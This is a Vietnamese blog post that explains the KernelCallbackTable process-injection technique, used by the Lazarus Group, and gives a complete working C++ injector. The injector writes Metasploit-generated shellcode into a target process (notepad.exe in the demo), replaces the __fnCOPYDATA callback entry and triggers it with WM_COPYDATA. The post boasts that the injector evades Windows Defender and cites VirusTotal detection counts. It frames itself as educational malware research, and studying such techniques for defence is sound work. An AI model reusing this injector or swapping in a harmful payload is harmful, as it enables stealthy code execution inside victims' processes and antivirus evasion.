## Mở đầu
Xin chào các độc giả, lại là mình Syaoren đây! Trong bài viết này, mình sẽ giới thiệu một kỹ thuật code injection thực hiện thông qua **Kernel Callback Table** mà mình nghiên cứu gần đây. Không vòng vo nữa, vào vấn đề chính thôi! :kissing:
<div style="text-align:center;">
<img src="https://gifdb.com/images/high/waving-hello-there-white-cat-44ezzt5bwrcu785i.gif" alt="">
</div>
## Cơ sở lý thuyết
Dựa trên nghiên cứu của mình thì kernel callback table là một cấu trúc dữ liệu trong hệ điều hành Windows, bao gồm nhiều entry, mỗi entry chứa địa chỉ của một hàm callback. Các hàm callback này sẽ được kích hoạt khi có một sự kiện nào đó xảy ra trong hệ thống, có thể đến từ kernel hoặc user.
Một điều đặc biệt là ta có thể truy cập kernel callback table từ user space thông qua cấu trúc **PEB** (Process Environment Block), **và thậm chí có thể thay đổi giá trị của các entry trong bảng này**. Dựa vào tính chất này, ta có thể thay đổi giá trị của một entry trong kernel callback table sao cho nó trỏ đến shellcode mà ta kiểm soát. Do đó, để thực thi shellcode, ta đơn giản chỉ cần tạo ra một sự kiện để kích hoạt entry mà ta đã thay đổi là được. Hình bên dưới minh họa chi tiết về kernel callback table.

## Các bước thực hiện
Dưới đây là các bước chi tiết khi thực hiện kỹ thuật code injection thông qua kernel callback table:
**1. Lấy thông tin kernel callback table:** injector tiến hành lấy thông tin của kernel callback table thông qua trường **KernelCallbackTable** của cấu trúc **PEB** trong target process.

**2. Chèn shellcode:** injector tiến hành chèn shellcode vào **VAS** (Virtual Address Space) của target process.

**3. Chèn kernel callback table giả mạo:** injector tiến hành chèn kernel callback table giả mạo vào **VAS** của target process.

**4. Cập nhật PEB:** injector phải cập nhật giá trị trường **KernelCallbackTable** cho **PEB** của target process bằng chính địa chỉ của kernel callback table giả mạo; nếu không thì lỗi sẽ xảy ra.

**5. Thực thi shellcode:** injector tiến hành tạo một event để kích hoạt kernel callback table thực thi shellcode đã chuẩn bị từ trước.

## Triển khai cụ thể
Đầu tiên, ta cần tìm kiếm window handle của target process mà ta sẽ thực hiện kỹ thuật code injection; việc này rất quan trọng trong quá trình triển khai kỹ thuật sau này. Để làm điều này, ta có thể sử dụng API **EnumWindows()** để liệt kê các window handle đang tồn tại trên hệ thống. Hàm callback được truyền vào API này là **EnumWindowsProc()**.

Chức năng của hàm **EnumWindowsProc()** cũng khá cơ bản. Nó gọi API **GetWindowThreadProcessId()** để lấy process id của window handle đang được duyệt, và sau đó kiểm tra xem process id này có phải là process id của target process hay không. Nếu đúng, nó sẽ tiếp tục gọi hàm **KernelCallbackTable()** và truyền window handle là tham số của nó.

Trong hàm **KernelCallbackTable()**, injector mở target process bằng API **OpenProcess()**. Sau đó, thông qua việc sử dụng các API như **NtQueryInformationProcess()** và **ReadProcessMemory()**, nó truy xuất các thông tin quan trọng như **PEB** và kernel callback table của target process.

Sau đó, injector cấp phát một vùng nhớ trong target process bằng API **VirtualAllocEx()** và chèn shellcode đã chuẩn bị vào vùng nhớ này bằng API **WriteProcessMemory()**.

Cấu trúc dưới đây đại diện cho kernel callback table trong hệ thống Windows. Có thể thấy, nó có rất nhiều entry tương ứng với các hàm callback khác nhau.
```cpp=
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
LONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
```
Như đã đề cập, injector cũng sẽ cấp phát một vùng nhớ trong target process để chèn kernel callback table giả mạo. Trong cách triển khai hiện tại, ta sẽ thay thế giá trị của entry **fnCOPYDATA** bằng địa chỉ của shellcode trong target process.

Để kích hoạt entry **fnCOPYDATA** thực thi, ta chỉ cần gọi API **SendMessage()** hoặc **SendMessageTimeOut()** với flag là **VM_COPYDATA** và window handle của target process; window handle này chính là tham số được truyền vào trong hàm **KernelCallbackTable()**. Trong quá trình nghiên cứu cá nhân, mình cũng đã tìm ra một số cờ khác có thể được sử dụng để triển khai kỹ thuật này, bao gồm **WM_MENUGETOBJECT**, **WM_GETTITLEBARINFOEX**, **VM_GETTEXTLENGTH** tương ứng lần lượt với các entry **fnINOUTMENUGETOBJECT**, **fnOUTLPTITLEBARINFOEX**, **fnGETTEXTLENGTHS**.

Dưới đây là đoạn code đầy đủ được dùng để triển khai kỹ thuật code injection thông qua kernel callback table mà mình vừa đề cập.
```cpp=
#include"ntddk.h"
#include<stdio.h>
#include<Windows.h>
#include<WinUser.h>
#pragma comment(lib, "ntdll.lib")
#define BREAK_WITH_ERROR(m) {printf("[-] %s! Error code 0x%x", m, GetLastError()); break;}
#define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Error 0x%x", m, s); break;}
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
LONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
BYTE shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x44\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x2a\x01\x00"
"\x00\x3e\x4c\x8d\x85\x3d\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6"
"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
"\xda\xff\xd5\x48\x65\x6c\x6c\x6f\x2c\x20\x69\x27\x6d\x20"
"\x73\x79\x61\x6f\x72\x65\x6e\x00\x4e\x6f\x20\x63\x61\x70"
"\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
DWORD processId = 0;
GetWindowThreadProcessId(hwnd, &processId);
if (processId == (DWORD)lParam) {
KernelCallbackTable(hwnd, processId);
return FALSE;
}
return TRUE;
}
BOOL KernelCallbackTable(HWND hTargetWindow, DWORD targetPid) {
BOOL returnStatus = FALSE;
NTSTATUS status = 0;
HMODULE hNtdll = NULL;
pfnNtQueryInformationProcess pNtQueryInformationProcess = NULL;
HANDLE hTargetProcess = NULL;
LPBYTE remoteShellcode = NULL;
LPBYTE newKct = NULL;
WCHAR msg[] = L"Hi, I'm Syaoren!";
do {
// Get required APIs
if (!(hNtdll = GetModuleHandleW(L"ntdll")))
BREAK_WITH_ERROR("Failed to get ntdll module");
if (!(pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess")))
BREAK_WITH_ERROR("Failed to get NtQueryInformationProcess()");
// Get handle of target process
if (!(hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid)))
BREAK_WITH_ERROR("Failed to open process");
// Get target process information
PEB peb = { 0 };
KERNELCALLBACKTABLE kct = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
if (!NT_SUCCESS(status = pNtQueryInformationProcess(hTargetProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL)))
BREAK_WITH_STATUS("Failed to get target process information", status);
// Get PEB
if (!ReadProcessMemory(hTargetProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL))
BREAK_WITH_ERROR("Failed to read PEB");
// Get kernel callback table
if (!ReadProcessMemory(hTargetProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL))
BREAK_WITH_ERROR("Failed to read Kernel Callback Table");
printf("[+] Kernel callback table: 0x%p\n", peb.KernelCallbackTable);
// Inject shellcode to target process
if (!(remoteShellcode = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
BREAK_WITH_ERROR("Failed to allocate shellcode");
if (!WriteProcessMemory(hTargetProcess, remoteShellcode, shellcode, sizeof(shellcode), NULL))
BREAK_WITH_ERROR("Failed to write shellcode");
// Allocate fake kernel callback table
if (!(newKct = VirtualAllocEx(hTargetProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)))
BREAK_WITH_ERROR("Failed to allocate new kernelcallback table");
kct.__fnCOPYDATA = (ULONG_PTR)remoteShellcode;
if (!WriteProcessMemory(hTargetProcess, newKct, &kct, sizeof(kct), NULL))
BREAK_WITH_ERROR("Failed to write new kernelcallback table");
// Update address of kernel callback table for PEB
if (!WriteProcessMemory(hTargetProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKct, sizeof(ULONG_PTR), NULL))
BREAK_WITH_ERROR("Failed to update PEB");
// Triger target process execute shellcode
COPYDATASTRUCT cds = { 0 };
cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;
if (!SendMessageTimeoutW(hTargetWindow, WM_COPYDATA, (WPARAM)hTargetWindow, (LPARAM)&cds, SMTO_ABORTIFHUNG, 5000, NULL))
BREAK_WITH_ERROR("Failed to send message to target process");
// Restore kernelcallback table
if(!WriteProcessMemory(hTargetProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL))
BREAK_WITH_ERROR("Failed to restore kernelcallback table")
returnStatus = TRUE;
} while (0);
if(remoteShellcode)
VirtualFreeEx(hTargetProcess, remoteShellcode, 0, MEM_RELEASE);
if(newKct)
VirtualFreeEx(hTargetProcess, newKct, 0, MEM_RELEASE);
if(hTargetProcess)
CloseHandle(hTargetProcess);
return returnStatus;
}
int main(int argc, const char* argv[]) {
if (argc < 2) return 1;
DWORD processId = atoi(argv[1]);
EnumWindows(EnumWindowsProc, (LPARAM)processId);
return 0;
}
```
## Kết quả
Về phần shellcode, ta sử dụng công cụ metasploit để tạo ra shellcode khi được chạy sẽ hiển thị message box. Hình bên dưới mô tả chi tiết quá trình này.

Sau đó, ta tiến hành thực hiện kỹ thuật code injection vào **notepad.exe**. Như độc giả có thể thấy, một message box đã được hiển thị trên màn hình. Điều này chứng tỏ rằng quá trình code injection đã thành công.

Theo report của virustotal, có 19/70 AV đã phát hiện injector là malware.

Điều đặc biệt là kỹ thuật này đã qua mặt được window defender :smiling_face_with_smiling_eyes_and_hand_covering_mouth:.

https://www.virustotal.com/gui/file/d89d69d7e3d2953e65994e44032812596ffacb5847acb56319dc255fb28b2c70?nocache=1
## Kết luận
Trong bài viết này, mình đã giới thiệu và triển khai chi tiết về cách thực hiện kỹ thuật code injection thông qua kernel callback table. Kỹ thuật này đã được sử dụng trong các chiến dịch tấn công của Lazarus Group; bạn đọc có thể tham khảo thêm thông tin chi tiết ở [đây](https://www.malwarebytes.com/blog/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign). Mình hy vọng rằng những gì mình chia sẻ sẽ có ích cho những ai đang nghiên cứu về malware :kissing:.
:::warning
:zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn.
:::
## Tham khảo
1. https://www.malwarebytes.com/blog/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign
2. https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html
3. https://cocomelonc.github.io/tutorial/2022/01/24/malware-injection-15.html